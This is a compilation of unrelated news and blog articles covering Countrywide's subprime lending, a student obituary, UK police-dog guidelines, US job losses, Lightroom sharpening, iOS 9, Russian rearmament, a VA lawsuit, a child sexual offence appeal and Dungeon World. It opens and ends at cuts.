imbedded in the automated underwriting process. Now, let me address my second issue, and that is the manual underwriting process itself. While Countrywide’s own internal evidence supports the notion that manual underwriters are approving a good majority of the loan applications that get referred, the fact of the matter remains that a human is involved in this step of the process thereby creating the possibility that a decision is made based upon the level of the borrower’s FICO score. Thus, the current protocol intentionally creates an environment where borrowers with lower FICO scores are subject to being disproportionately affected by the manual underwriting process. I say we need to amend these systems to do more than just approve the "cream of the crop," by creating a system that says "no" only to those deemed unwilling to make their mortgage payments. We must understand that the credit scoring system we have built is still imperfect, and that if we are to have any chance at closing the homeownership gap, we must make a serious investment in improving its capacity and capabilities. We must do this through improved automated underwriting models that take into account more variables, and measure true indicators of risk and willingness to pay. We need an ongoing educational process, not only at the primary market level, but also in the secondary markets and with mortgage insurers to help lead this effort to recalibrate the scoring system. And finally, it must be recognized that borrowers with credit scores below what is currently defined as "creditworthy" levels can still be acceptable credit risks. Thus, the credit score bar dividing creditworthy from high-risk borrowers, must be substantially lowered by the GSEs, the secondary market in general, and with bank regulators. The GSEs have made good progress over the last few years in expanding their credit criteria, but I encourage them to become much more aggressive in this regard. What Angelo Mozilo desires to accomplish is to replace human underwriters with computers. He never mentions the Five Cs of credit because sound credit underwriting requires human judgment; which can be aided with, yet never replaced by, technology. In Mr. Mozilo’s daffy world of credit progressivism, he may as well distill the mortgage application down to a one-page document containing a single question: Are you willing to make your mortgage payment? If the answer is "yes" then the loan is approved and if the answer is "no" then it is declined. Under such circumstances, a computer would work perfectly. As I have asserted before, political correctness is an enfeebling infection of the mind. Mr. Mozilo’s vision of politically-correct, and "enlightened," credit underwriting was nothing short of daffy. Yet, one can only imagine how approvingly this pabulum was met by his Harvard chums. Angelo Mozilo had no intention of disappointing his fellow travelers. There was hope as to closing the homeownership gap. It was something called the subprime mortgage. In his bizarre mind, the more subprime mortgage originations there were, the better off America would be. To wit: Historically low interest rates along with new, creative and flexible underwriting techniques are continuing to fuel a record period of growth for our industry. According to the Federal Reserve, the amount of overall mortgage debt outstanding is nearly $6 trillion. And, increasingly, the sub-prime market is boosting that number and the industry as a whole. During the first nine months of 2002, sub-prime originations rose an estimated 26 percent over the same period in 2001 — outpacing the overall market. Had Mr. Mozilo delivered this speech today, he would have immediately been fitted into a straightjacket and then driven to the nearest loony bin. Countrywide Financial and many other financial institutions ended up throwing all credit standards out the window in order to package and sell as many subprime mortgage-backed securities as possible. To be sure, many did not do so sharing Mozilo’s politically-correct and egalitarian hallucination — they just wanted to make a fast buck. An important distinction to convey here pertains to the fact that Countrywide and others were not selling all of their loans to Freddie and Fannie. The aforementioned mortgage-backed securities were purely packaged and sold under private labels. When America’s housing bubble was expanding, buyers of such subprime securities obviously felt there was no downside. Such are the delusions that materialize when central bankers flood the world with the opiates of easy money and credit. Regrettably, by completely ignoring underwriting fundamentals, Countrywide and its ilk have set up so many borrowers for failure (as have the king and queen of mortgage socialism, Freddie Mac and Fannie Mae; both of whom, by the way, may be on the brink of their own financial meltdowns). The pain and anguish of losing a home, and having one’s family displaced, will be visited upon countless families. Of course, such borrowers must look in the mirror when the urge, to pass around the blame, emerges. Nonetheless, Angelo Mozilo’s dream has transmuted into a nightmare for millions. My, oh my, aren’t political correctness, egalitarianism, and social engineering wonderful? You be the judge. The Best of Eric Englund -Tim Campbell, a third-year campus doctoral student in computer science, died Sept. 15 at age 26 after living with cancer for four years. He is remembered by friends and colleagues for his positivity and his innovative mind. At UC Berkeley, he studied human-computer interaction, a discipline that examines how humans engage with technology. According to Eric Paulos, Campbell’s adviser and an assistant professor in the campus’s electrical engineering and computer science department, he was a pioneer in a field he called “digital apprenticeship.” Campbell was first diagnosed with Ewing’s sarcoma, a rare form of cancer, in August 2011 and relapsed three times in the past four years. He was in the middle of chemotherapy and radiation treatment when he decided to attend graduate school at UC Berkeley. “He had a terminal diagnosis four years ago, and instead of giving up, he chose to be an incredibly present and loving husband,” said his wife, Katie Campbell. “He chose to keep creating in spite of the very real possibility that he would never get to actualize any of his ideas. He kept investing in new relationships and developed best friends. He chose to start a Ph.D. program when he knew he would have weekly chemo, and he chose to just face it head on. I think that is remarkable.” Tim Campbell was an active member of the campus community. He participated in the Computer Science Graduate Student Association, where he planned social events and mentored younger graduate students, and was also part of UC Berkeley’s Graduate Baking Club. “He was a kind of a baking nerd,” said Campbell’s friend and fellow graduate student Cesar Torres with a laugh. “Fermentation (of yogurt and bread) was his hidden agenda, his hidden project.” His wife noted how he would often wake up in the middle of the night and be overcome by the desire to do research on the subject, watching videos on fermentation for hours. She said he would often switch gears in the middle of conversations, frantically sketching out ideas on bundles of paper towels and other available surfaces. While at UC Berkeley, Campbell worked for Autodesk, where he wrote instructables. In addition, he worked as a mechanical design engineer at Xerox, consulted for Adobe and helped invent hydrosense technology at the University of Washington. “Tim was just overflowing with ideas,” said Paulos. “It was his character to always be so happy and so ready with ideas about what could be next. He never slowed down — that part of his energy and spirit here that really feels like a loss.” Campbell was always working despite his diagnosis. According to Katie Campbell, he would ride his bicycle from chemotherapy to class and edit papers while getting chemo treatments. Throughout middle school, high school and his undergraduate education, Tim Campbell worked with younger children as a Christian leader and mentor. To honor his memory, Katie Campbell is working with Paulos as well as Tim Campbell’s family to create a scholarship at UC Berkeley “to fuel innovation at Cal and give other aspiring kids a chance to create,” she said. “It’s been a tremendous loss for the human interaction community,” said Bjorn Hartmann, Tim Campbell’s colleague and an associate professor of electrical engineering and computer science at UC Berkeley. “He was such a positive force. It’s been really hard for everyone to grieve his loss, but we cherish the great luck we’ve all had to have known him and had the chance to work with him.” Contact Maya Eliahou at [email protected]. -Police told to warn criminals before setting canines on them - in case they are FRIGHTENED or ALLERGIC to dog hair Warning: Handlers have been told to avoid offending criminals with cynophobia - fear of dogs Being chased by a police dog was never intended to be a pleasant experience. But now handlers are being extra careful to avoid upsetting criminals' sensibilities by giving them advance warning before dogs are set on them. Forces across Britain are being instructed to 'avoid offending' sufferers of cynophobia - the clinical name for a fear of canines - or those allergic to dog hair. The move comes amid fears that suspects whose medical conditions are triggered by dogs may file costly compensation bills against the force which authorised their use during arrests or raids on homes. But the proposals have met with fury by some serving officers - who branded them 'polite policing' and 'namby pamby'. The plans were revealed Peter Vaughan, the Association of Chief Police Officers' lead on dogs, who said: 'The draft guidelines outline a general principle that forces should consider what steps can be taken to avoid offending people during operations.' Mr Vaughan, a deputy chief constable of South Wales Police, added: 'This might include different categories of people such as those with a fear of dogs, for example or asthma sufferers who may be sensitive to dog hair.' And PC David Heaps, a dog handling trainer at Derbyshire Constabulary, added: 'We are very mindful not to cause offence.' But a sergeant, commenting anonymously on the proposals in respected force magazine Police Review this week, insisted: 'This is more from the 'polite police' 'The whole point of police dogs is to frighten people rigid, at least those who have just committed a crime and would otherwise make a clean getaway. 'They should have considered the mental trauma and possible allergic reaction of 60 lbs of foaming Alsatian clamping its teeth to their extremities before embarking on their latest criminal escapade. 'The traditional shout of 'stand still or I will set the dog on you' will presumably now have to become 'Excuse me, my police dog is quite hairy and might cause alarm as he sinks his fangs into your right thigh - is that all right with you?'' A serving dog handler, who asked not to be named, added: 'I have never heard anything so ridiculous. 'What's next? Sparing people custody because they have a fear of enclosed spaces? 'This is just another example of namby pamby policing laid down by people who haven't been on the beat in years.' -Employers cut 62,000 jobs in June, marking the sixth consecutive month that the nation has shed jobs, according to a government report released yesterday, deepening concern that the struggling U.S. economy could turn worse before it gets better. The collapse in the real estate and mortgage industries, coupled with the specter of inflation fueled by the rising price of oil and other commodities, has crimped employers and left top policymakers and private analysts convinced that the economy is in for a prolonged period of sluggishness. "We're not in a traditional recession dynamic where jobs get cut aggressively," said Bruce Kasman, chief economist for J.P. Morgan Chase. Still, he said, "things may be starting to get worse, not better." Of immediate concern to many economists is how the nation will emerge from the economic slowdown even as it faces inflationary pressures brought on by record-high oil and commodity prices. The price of a barrel of oil pushed near $146 before falling back yesterday, and it has increased about 50 percent since the start of the year. Wrapping up a European tour, Treasury Secretary Henry M. Paulson Jr. said high oil prices "are a strong headwind, and at this level, they have got a high risk that they are going to prolong the slowdown." "I don't believe this situation avails itself of quick fixes," Paulson said from London in comments reported by the Associated Press. He noted that, with the global appetite for oil steadily rising and production and refining capacity increasing less quickly, "there are questions in the short term about the ability to meet the demand." The Department of Labor reported that the economy has lost about 438,000 jobs since the beginning of the year -- a figure that includes revisions for April and May to reflect an additional 52,000 jobs lost in those months. The unemployment rate, which is affected by the number of people seeking work and other factors, was at 5.5 percent, unchanged from a month earlier. The job losses were led by cuts in construction, financial services and manufacturing. Temporary and other employment agencies also experienced steep job cuts, which some economists saw as further evidence that the bleak employment picture will not improve anytime soon. There were also some cuts in retailing, which combined with the other reductions overwhelmed modest employment increases in leisure and hospitality, health care, mining, and government. In a separate report, the Labor Department said the number of people applying for unemployment insurance jumped by 16,000, to 404,000, the highest level since late March. There were 8.5 million unemployed people as of June, up from 7 million a year earlier. "The economy has entered a slow-motion recession," said Dean Baker, co-director of the Center for Economic and Policy Research. "It is not seeing the dramatic plunges in jobs that characterized prior recessions, but the collapse of the housing bubble is slowly sinking more and more sectors of the economy." The report said that average hourly wages crept up 0.3 percent from a month earlier, to $18.01, but that tiny bounty has been more than offset by higher food and energy prices. The report also said that 5.4 million Americans -- about 3 percent of the labor force -- were working part time either because their hours had been cut or because they could not find full-time employment, a figure unchanged from May but up 1.1 million from a year earlier. -Sharpening in Adobe Lightroom 3 I've written a number of articles on how best to sharpen images in Adobe Photoshop but Lightroom can do an outstanding job of sharpening as well. If you're used to sharpening in Photoshop, the technique is similar in Lightroom, but much better. Here's the basic rundown. First, as with all things in Lightroom, sharpening is processed non-destructively. It never actually changes the underlying pixels of your image. Everything it does exists solely as a list of instructions to be applied on-the-fly to your image preview. These instructions are stored along with all your other adjustments when you save your image. When you open it next time, everything is right where you left it. All your adjustments look like they are part of your image, but the really aren't. If you subsequently make more changes, nothing has been lost or degraded as a result of your earlier choices. You can tweak things as much as you want until you are satisfied, with no more loss than if you had made those same choices in the beginning. None of those edits actually get baked into your image until you print it or export it from Lightroom. It's also worth pointing out that sharpening in Lightroom only ever affects the luminance channel of the image, not the color. As such, problems of fringing and color shifts are far less likely than when working in RGB mode in Photoshop. Before you start sharpening, open your image in the Develop module and create a virtual copy by right clicking on the image in the main window and selecting "create virtual copy." This will let you use View >> "Before / After" to easily see the net effect of your sharpening. Making a virtual copy isn't required, but it can be helpful and there's little reason not to. Lightroom virtual copies don't take any real space since they exist just as a second set of adjustment instructions rather than a second copy of the image pixels themselves. Remember, Lightroom never changes your actual image pixels. The controls for Sharpening in Lightroom are located in the Detail panel of the Develop module. The interface looks straightforward enough. At the top of the section is a small detail zoom preview window. Underneath that you'll find four sliders. But before you just start pushing those sliders around, let's take a look at what each of these does. By default, the zoom preview shows you a 1:1 view but the scale can be changed in much the same way as the main image view window. If you click on it with your left mouse button, the zoom will toggle between this close-up view and an overall view of your image. Click again and it goes back to the zoom view. If instead you right mouse click the zoom preview you can change to close-up to be a full 2:1 view. This larger-than-life view can lead to a mistaken impression of what your image looks like unless you are careful so I'd suggest leaving the zoom preview at the standard 1:1 view for most situations. Amount Radius Detail Masking What I generally do is to set the zoom preview to 1:1 and adjust the main Develop view panel to 1:2. The fifty-percent view, or 1:2, works well to gauge the degree of sharpening and the 1:1 zoom preview helps check detail areas when needed. With this configuration, checking the overall view of the image requires just a single mouse click on the main image to toggle it to the "fit" view so you can see the whole thing. Click again and I'm back to the 1:2 view. To move the zoom window around the image, either click on it and drag, or click on the small cross-hairs icon to the upper left of the zoom preview and then move your cursor over the main image. As you do, the zoom preview will track your mouse movements. Clicking on the main image will end the tracking and lock the zoom preview where you clicked. There's also a down-arrow icon to the upper right of the zoom preview that will let you collapse the Detail panel to get rid of the zoom preview, although I honestly don't know why you would want to do that. Now on to the sliders. As befits its position as the topmost slider in the Sharpening dialog, the Amount slider controls the overall amount of sharpening to be applied and is likely the one that will have the greatest affect on the appearance of the image you are working on. The farther to the right you position it the more affect it will have. If the Amount slider is left at its default value of zero, none of the other sliders can be used and will appear grayed out. You can take this as a clue that you are intended to use the Amount slider first when sharpening. If you hold down the Alt key (Option key on Mac OS) as you move the Amount slider you can temporarily view your image purely as grayscale. In full color, your eye can easily be fooled into thinking your image is sharper than it is if the subject has a strong color contrast compared to the background. Sharpening works by adjusting contrast along edges and working in grayscale makes it easier to accurately gauge contrast. Don't worry — as soon as you release the Alt key the color will return. The Radius slider determines how close to detected edges detail needs to be to be included in the sharpening affect. It also helps determine just where those edges are. As you move the slider further to the right Lightroom will find ever more details in your image that qualify as edges. Just as with the Amount slider, you can hold down the Alt (Option) key while adjust the Radius slider to gain insight into how your changes will affect the image. When you do, the image will turn to a grayscale version but this time the view will be based just on the edges that Lightroom finds. Where no edges are detected the image will appear as featureless medium-toned gray. Edges will stand out as increased contrast areas in that field of gray. The view will be familiar if you have ever made use of the high-pass sharpening technique in Photoshop. Generally, you should move the slider until only major edges start to appear in the zoom preview but this will vary somewhat based on what sort of detail you want to emphasize. Remember, all your adjustments here are lossless so you can feel comfortable playing with the sliders to optimize your results for the particular image you are working on. The Detail slider functions similarly to the Radius slider but looks only at fine detail rather than at all edges. You can safely set the Detail slider to a higher value if the Radius slider is set lower, and vice versa. The two work hand in hand. If both are set too high, watch out. If you want to accentuate only major edges, set the Radius high and the Detail low. If you are working on an image with fine detail that you want to see clearly, set the Radius more moderately and raise the Detail slider. Holding down the Alt (Option) key works the same way for the Detail slider as it does for Amount. The Masking slider is a welcome addition to Lightroom that makes it easy to limit your sharpening to edges and keep areas that don't need sharpening unchanged. There's nothing more frustrating than sharpening digital noise that may happen to exist in what is supposed to be a clear blue sky. Masking lets you avoid this. If you are familiar with edge sharpening techniques in Photoshop, you probably already understand the intent of the Masking slider. As you move the slider to the right, only areas that truly should be considered edges will be affected with everything else masked out. If you hold down the Alt (Option) key while adjusting Masking you can see the traditional grayscale display of the mask. Areas that are black will be blocked completely from the affects of sharpening. Areas that aren't will be affected proportionally to how bright they appear in the mask display. With the slider all the way down at zero, the sharpening will be applied equally across the image. With it moved all the way up to 100 only the most obvious of edges will qualify. With the Mask slider set appropriately for an image you can more safely boost the values of the other sliders without fear of halos and other artifacts. I really like the way Lightroom implements sharpening. Sharpening has long been problematic in Photoshop due both from a lack of good tools as well as the fact that the process is inherently destructive in Photoshop since it requires actual pixels to be modified. And since it works only on the luminance channel it is generally much easier to sharpen in Lightroom than in Photoshop without fear of ending up with something that ends up looking like you sharpened it. -Apple will update its smartphone and tablet lines later this year, not only with the likely introductions of the iPhone 6S and iPad Air 3, but with iOS 9, a new software update set to transform existing iDevices. Introducing a number of new features, functions and services, the software patch will offer a variety of enhancements, from an improved Siri experience, to battery life benefits and revamped multitasking options. Set to be rolled out in a matter of months, iOS 9 will revitalise iPhone and iPad ownership for millions of users. Here's what you need to know. What's new in iOS 9? Unlike in recent years, the iOS 9 update is more about adding new features than a new look and feel. The Apple Watch maker has claimed the update will "elevate the foundations of the platform", addressing everything from search and maps to in-car options and Android migration. Many of the new iOS 9 features are about bringing the platform into closer competition with Google and its Android OS. This is no more true than with Apple's reworked search offering. Populating your screen with contacts, apps, news feeds and nearby services, Apple wants to give you instant access to the most relevant data possible. Taking things to the next level, it doesn't want you having to search for information at all where possible. A smarter caller ID system will do all of the leg work for you, looking through your emails in a bid to pair unattached numbers to a name you might recognise. This is just the tip of the iOS 9-themed offering, however. Notes Ignored by some, loved by many, Apple's Notes app is set for a sizeable refresh, becoming more relevant and useful to your daily life. Gaining access from whatever app you're in, Notes will be about far more than a simple location to jot down your latest musings, with checklists, category headings and image, map and URL support all being added. With iCloud backing also joining the mix, the new Notes app will even let you use your finger to create handwritten reminders and image annotations – just like a real notebook. Maps Once the laughing stock of Apple's app line-up, Apple Maps has moved on from warped roads, lost locations and bendy buildings. Now a legit challenger to Google's market-leading free service, it's gaining transit directions in iOS 9. Throwing public transport into the mix alongside walking and driving-based navigation, nearby points of interest, including landmarks, restaurants and cafes will now also be highlighted. News One of the biggest new additions to Apple's next software refresh is the introduction of an all new News platform. The company's latest can't-delete app is an imitation of sorts of Flipboard or HTC's Sense skin on Android. News will collate all of the articles you might be interested in, presenting them in one stylish, easy to access location. With thousands of leading news creators on board for launch, Apple will package the written word alongside all manner of high-production image and video content. The more you read, the more personalised the service will become, learning your interests and better attuning the promoted content collection to you. Wallet Replacing Passbook, Wallet will be the new one-stop app for all things payment-based. Apple Pay – the company's contactless mobile payment service due to launch in the UK later this month – will be managed through the new Wallet platform, gaining new features courtesy of the latest iOS push. Joining your banking information in your digital wallet, store cards and reward cards are also being cloned, living in your handset for more convenient shopping. iPad-exclusive iOS 9 features Introducing something that users of Apple's slates have been requesting for years, iOS 9 will finally bring split-screen multitasking to the market-leading tablet line. Echoing a number of Android slates, the single-screen, multi-programme options will see users able to have a second app share the screen space equally with another, or display as a small sidebar. The result – more natural, intuitive cross-app collaborations and a smoother, quicker working experience. What's more, FaceTime will no longer be an all or nothing affair, with the video calling service able to run as a picture-in-picture option while performing other tasks – such as checking your calendar while on a work call, or searching for gig tickets while chatting with your beau. Siri graduates in iOS 9 Forget 0 ÷ 0-themed backchat, Siri is about to become less gobby and more helpful. iOS 9 will see the voice-activated personal assistant become 40% faster and far more accurate in its feedback. In true Her fashion, it will soon understand context too, allowing for a more conversational tone - creepy. Siri's updates aren't just about polishing the service, though. In a slightly sinister Google Now fashion, the digital PA will soon be able to pre-empt your likely requests, surfacing information it thinks will be useful before you've even asked the questions. It does this by monitoring your daily activities, picking up on your regular habits – say, playing music when you get home – and learning when to second-guess your next move and cut out the middle man. Gaining the ability to search your image library for people and places, in iOS 9 Siri will also gain the skills required to automatically add events to your calendar based on details received in email. She's getting smarter… iOS 9 will make your devices more secure If, like many, you use the same four-digit code to unlock your iPhone as you do to get money from a cashpoint, things are about to change. Doing away with four-figure codes in favour of a new six-digit method, Apple is switching the number of possible passcodes from 10,000 to a cool million. This isn't the only way the Cupertino-based company is keeping your data secure, either. Having pledged not to share your personal information, even between internal Apple services, the company is also adding dual-factor authentication for those with multiple Apple products. iOS 9 will boost your battery life Draining batteries are the bane of any smartphone owner. Apple is looking to address this with iOS 9, introducing some clever software tweaks which will better manage your handset's staying power, all without you noticing the difference. Instead of simply throttling the device in order to conserve power, iOS 9 will use your iPhone and iPad's ambient light and proximity sensors to work out when the device is face down, preventing the screen from turning on, even when you receive notifications. This is just one of a number of battery usage trimmings which will add up to around an hour's additional use on a single charge, a figure not to be sniffed at. What is iOS 9's release date - and is there a beta? Keeping with tradition – and its annual launch cycles – Apple first debuted iOS 9 during its annual developers' conference back in June, confirming the software would be rolled out to consumers this 'fall'. Although an exact release date has yet to be announced, it is expected that the patch will launch in mid-September, in the days leading up to the company's next smartphone introduction. Can't wait till the autumn? Well Apple has decided to be kind and give you an early play. An iOS 9 public beta will be held months ahead of launch for those too impatient to wait. With iPhone and iPad owners able to register their interest now, the public beta programme will officially kick off on an as yet undetermined date later this month. This is the first time Apple has offered a public beta on its iOS software having previously limited avid fans to Mac OS X previews. Is my device iOS 9 compatible? Unlike when new Android updates drop, Apple is pretty hot in ensuring most existing smartphone and tablet owners are offered the patch on day one. iOS 9 is no exception, heading to all versions of the iPhone and iPad launched in the past couple of years. On the phone front, everything from the iPhone 4S onwards – yes, that includes your recently purchased iPhone 6, don't worry – will be offered iOS 9 in some capacity, while all but the original iPad will make the move on the tablet side. Still clinging on to an iPod touch? Sadly, only the fifth-gen offering will be making the move to the new OS. The iOS 9 diet Last year, iOS 8 saw Apple's annual software update cause millions of users to struggle for storage space. Lining up at 4.58GB in size, the hefty patch forced many to delete apps, photos and files in order to free up the necessary space. For 2015 the new iOS update has been trimmed and toned down, requiring just 1.3GB of available space. Hopefully this should do away with storage concerns for most. -President Medvedev wants to increase the combat readiness of Russian forces Russian President Dmitry Medvedev has said Moscow will begin a comprehensive military rearmament from 2011. Mr Medvedev said the primary task would be to "increase the combat readiness of [Russia's] forces, first of all our strategic nuclear forces". Explaining the move, he cited concerns over Nato expansion near Russia's borders and regional conflicts. Last year, the Kremlin set out plans to increase spending on Russia's armed forces over the next two years. Russia will spend nearly $140bn (£94.5bn) on buying arms up until 2011. Higher oil revenues in recent years have allowed the Kremlin to increase the military budget, analysts say. But prices have averaged $40 a barrel in 2009 compared with $100 last year. Outdated equipment In his first address to a defence ministry meeting in his capacity as supreme commander, Mr Medvedev said considerable sums are being channelled towards developing and purchasing modern military equipment. Inside Russia's military Send us your comments "Despite the financial problems we have to cope with today, the size of these sums has remained virtually the same as planned." Analysts say the brief war in Georgia exposed problems with outdated equipment and practices within Russia's armed forces and led to calls for military modernisation. President Medvedev's remarks also appear significant for what they say about the diplomatic game between Moscow and the new administration in the United States, says the BBC's James Rodgers in Moscow. Both sides are looking for a solution to issues - such as US missile defence plans in Europe - which bitterly divided the Kremlin and the White House during the Bush administration. Neither, though, seems willing simply to abandon previously-held positions, our correspondent adds. The Russian Security Council is currently developing a new military doctrine which is expected to reflect current and forthcoming international developments, including any changes Nato may set out this year, missile defence deployments and WMD proliferation. "The Security Council will approve Russia's national security strategy until 2020 in the near future," President Medvedev said. Watch Tim Whewell's films on the Russian military on Newsnight on Tuesday 17 March and Wednesday 18 March, 2009 at 2230 on BBC Two. Bookmark with: Delicious Digg reddit Facebook StumbleUpon What are these? E-mail this to a friend Printable version -For those of you game to try the avante garde route we’d like you to introduce to you Lady Gaga and the latest fashion accessory she has taken to and by extension what you must too… stylelist Gaga basically lives in “the” sky-high, heel-less platforms, which look physically impossible to stand on, not to mention walk in. The creator of the famous footwear, 25-year-old Japanese designer Norita Tatehana, was kind enough to send us a pair of his gravity-defying designs — in sparkly pink stingray Pink Stingray? Mmh- that’s already got us salivating. But how much should you be prepared to pay for this audacious excuse to finally come clean with your foot fashion fetish? If you guessed $6500- you are spot on? Like the author from stylelist we are also wondering if any reasonable human being can really wear the Lady gaga shoe without inadvertingly eventually smashing their face into a window pane, inverting leg muscle traction or becoming their own interesting parody… One day when Lady Gaga is strutting the planks on her magic catwalk she will fall flat down only to get up and look the paparazzi dead in the eye and hope that every one of those 48 000 cameras were there taking their picture of her before turning back at the chipmunk in her $72 000 handbag and winking- ‘we’ve got them fooled kiddo…’ The Lady Gaga Barbie doll is finally here. Gaga. Fascinating “Free” Dame. Lady Gaga wants you to understand one day in the distant future she wants to be left alone. Bad Romance. Lady Gaga and her ex head to the courts. Authentic Message or Gaga Flair? Is Lady Gaga Crazy? When fancy dress becomes a permanent state of being, Lady Gaga style -MARTINSBURG – A Berkeley County doctor is suing the U.S. Department of Veterans Affairs over alleged wrongful termination. Ning Shen filed suit on Jan. 4 in U.S. District Court for the Northern District of West Virginia against Robert A. MacDonald, secretary of the VA, claiming the defendants violated Title VII of the federal Civil Rights Act of 1964. Shen claims she was wrongfully terminated and discriminated against due to her participation in the Equal Employment Opportunity (EEO) process. Her suit says she was employed by the defendant at the VA Medical Center in Martinsburg from February 2008 to Sept. 11, 2014. She claims that her supervisor began to harass her, putting an unbearable workload on her and ridiculing her English-language skills. Shen alleges she tried to resolve the issues internally but claims the medical center’s management ignored her, and says she initiated the EEO process in August 2009. Shen claims that after she initiated the EEO process, the medical center’s chief of staff, Jonathan Fierer, led at least a half-dozen attempts to terminate her employment, beginning around February 2010 and ending with her termination on Sept. 11, 2014. During that time period, the suit alleges, Shen settled her EEO complaint in April 2013, with a reassignment to a position as a physician reviewer in the defendant's compensation and pension department. After settling the complaint, the suit claims, management continued to harass Shen and omitted her from the organizational chart, failed to assign her a direct supervisor, failed to issue her a position description, failed to issue her a functional statement for six months, and failed to give her more than two hours of work per day on average. Shen claims that this treatment culminated on June 12, 2014, when the defendant allegedly proposed to terminate her just two days after the U.S. Equal Employment Opportunity Commission (EEOC) stopped monitoring the defendant for compliance in connection with Shen’s discrimination complaint and settlement. The proposed termination was issued at Fierer’s urging and approval, the suit alleges. Shen claims she then filed another discrimination complaint, and that the defendant allegedly offered to mitigate the termination if Shen withdrew her complaint. Shen refused and was fired, the suit says. Shen is suing for back pay with interest; reinstatement to the same position, duties, and status she would have had but for the alleged retaliation, or front pay in lieu of reinstatement; compensatory damages for emotional distress and reputational harm; injunctive relief to prevent future violations; attorney fees and expenses; and any other reward deemed proper by the court. She is demanding a trial by jury and is represented by David Hammer of Hammer, Ferretti & Schiavoni in Martinsburg. U.S District Court for the Northern District Of West Virginia Case number 3:16-cv-1-GMG -Over two months into President Trump’s administration, some Members of Congress are growing concerned about the administration’s failure to respond to letters requesting information or urging a specific action, a common tool Congress uses to conduct oversight. In March, Democratic Members of Congress catalogued 107 letters they had sent to the executive branch that have not been answered. Republican Senator Chuck Grassley (IA) has on multiple occasions sought to draw the White House’s attention to his unanswered letters through Twitter. On February 12, he ended a tweet with an all capital-letters demand: “WH: ANSWER MY LETTER.” An earlier Grassley tweet in January asked President Trump to order all agencies to respond to requests for records by any Senator. Congress is often frustrated with the speed of agency responses regardless of administration. And agencies typically do not respond as rapidly to Members of Congress in the minority party, currently Democrats, who often lack subpoena power and other leverage to compel agencies to turn over documents. Some argue the Trump administration simply doesn’t view government oversight as a priority. “These findings confirm what many feared: The Trump Administration has little regard for transparent government,” Representative John Sarbanes (D-MD) said in a statement. During the Obama years, Congress also vocally complained about being slow-rolled, although then it was typically Republicans saying that it took months to get answers. Exacerbating the problem, the Trump administration has not filled most of the senior Congressional affairs positions in agencies. The positions provide leadership and direction for how agencies prioritize and respond to Congress on issues ranging from minor constituent issues to high-profile scandals. Trump has nominated someone for only one of the 13 Senate-confirmed leadership positions, according to a ProPublica tally. But the staffing problems go well beyond just 13 leadership positions. For instance, ProPublica highlights how the Department of Labor’s website used to list almost two dozen political appointees staffing the Office of Congressional and Intergovernmental Affairs. Now it lists none. President Trump told Fox News in February that “A lot of those jobs, I don’t want to appoint, because they’re unnecessary to have.” While Trump was not specifically referring to these offices, it is likely that they will continue to go vacant, and Congress’s inquiries will continue to go unanswered. Congressional oversight is critically important. As Senator Grassley recently tweeted to President Trump: “OVERSIGHT is same as CHECK AND BALANCES u studied in 8th grade civics in chapter on US Constitution (message for executive branch).” The Project On Government Oversight urges the Trump administration to quickly fill vacant Congressional affairs positions, and to rise above his predecessor’s example by responding promptly to Congress’s letters. -A mother-of-two who escaped with a suspended sentence after seducing a 14-year-old schoolboy has now been sent to prison. Divorced Karen Ackland, from Deal, bedded the boy - who was 30 years her junior - after a drink-fuelled night out. But the former sailor, of Cavell Square, has now been jailed for two years after three senior judges at London's Appeal Court upheld a bid by the Attorney General to have her "too soft" sentence increased. Karen Ackland at Canterbury Crown Court in July, where she admitted three charges of sexual activity with a child. Picture: Mike Gunnill The 44-year-old admitted three counts of sexual activity with a child at Canterbury Crown Court in July, but avoided jail. Today, Lord Justice Pitchford said there were "no grounds" for suspending her sentence and branded her original punishment "plainly unduly lenient". He said Ackland had "pursued" the teenager after drinking with him and others. The pair had both drunk heavily before she kissed him and offered to perform a sex act on him. Deal woman Karen Ackland seduced a schoolboy 30 years her junior after a drunken night out. Picture: Mike Gunnill Later that night, as the boy prepared for his paper round the next day, Ackland stripped off and indulged in sex games with the boy in a bedroom. But Ackland's illicit tryst was rumbled after the boy's older brother heard moaning noises coming from a bedroom. During the noisy sex session, Ackland was heard saying: "I can't believe I'm doing this with a 15-year-old" - getting the boy's age wrong. A court heard Karen Ackland was discovered when the boy’s older brother heard noises coming from a bedroom. Picture: Mike Gunnill Ackland was later arrested after a child protection officer at the boy's school became aware of the offences, but she initially denied any wrongdoing. However, Ackland changed her pleas to guilty minutes before her scheduled trial, abandoning claims that nothing happened between the pair. Judge Simon James handed her a nine-month suspended sentence with an order to pay the court costs and placed her on the sex offenders' register for 10 years. "This sentence was plainly unduly lenient..." - Lord Justice Pitchford Lawyers for the Attorney General, today argued that the sentence was far too lenient after the judge underrated the seriousness of Ackland's crimes. The Attorney General's barrister said the judge characterised the offence as a "drunken escapade" when it was in fact a "persistent course of conduct". Ackland's barrister, Dominic Webber, said the punishment was entirely correct, arguing that the victim had encouraged her advances. He said: "The offender has been named and shamed in the red-top press but she was somebody of exemplary character." The barrister also said the judge had given an indication behind closed doors that, if Ackland pleaded guilty, he might be convinced a custodial term was not necessary. Lord Justice Pitchford said today: "There should have been no indication that a plea of guilty might be the difference between a custodial sentence and a non-custodial sentence." The case was heard at Canterbury Court He accepted that the offence was "out of character" but also underlined the aggravating factors in the case. Lord Justice Pitchford, sitting with Mr Justice Dingermans and Mr Justice William Davis, said: "This sentence was plainly unduly lenient. "We shall quash the suspended sentence order and substitute what we regard as the least possible sentence - namely concurrent terms of two years' imprisonment. "There are no grounds for suspending the sentences, and they will be served immediately." The appeal judge ordered Ackland to hand herself into Folkestone Police Station by 4pm today to start her sentence. -It’s my five year wedding anniversary, which means its also the five year anniversary of Dungeon World’s Kickstarter closing. (Yeah, the Kickstarter campaign finished during my wedding, somewhere around the end of the ceremony and start of the reception. How’s that for timing?) Seems like a time to reflect. Overall, wow. We’re five years in, about to do our 7th print run, and we’re still the #19 top selling game on DriveThru. It’s kind of trivial to say it succeeded beyond my wildest dreams because it had succeeded beyond my wildest dreams when the Kickstarter funded in the time it took me to drive to work. But here we are five years later and it’s been a wild wonderful ride. The game has held up as well as I could have hoped. Sure, with five years to listen, play, and learn, there are some things I’d revisit. But the changes I’d do feel more like upgrades than bug fixes. There’s nothing wrong with the game as it stands, but I think with what we know Adam and I could make classes, bonds, monsters, and some other things even better. That may be the part I’m the most proud of. When I look at most things I made five years ago, like code, I can see pretty clear deficencies. But Dungeon World hasn’t aged like that for me. I haven’t found anything I regret or that I think we got wrong. If we ever revisit Dungeon World it won’t be to patch problems, it will be to share new ideas. But that leads to the part I am the least happy with: we signed up for future work in the Kickstarter, and some of that is still outstanding. At least its down to one piece, a supplement titled 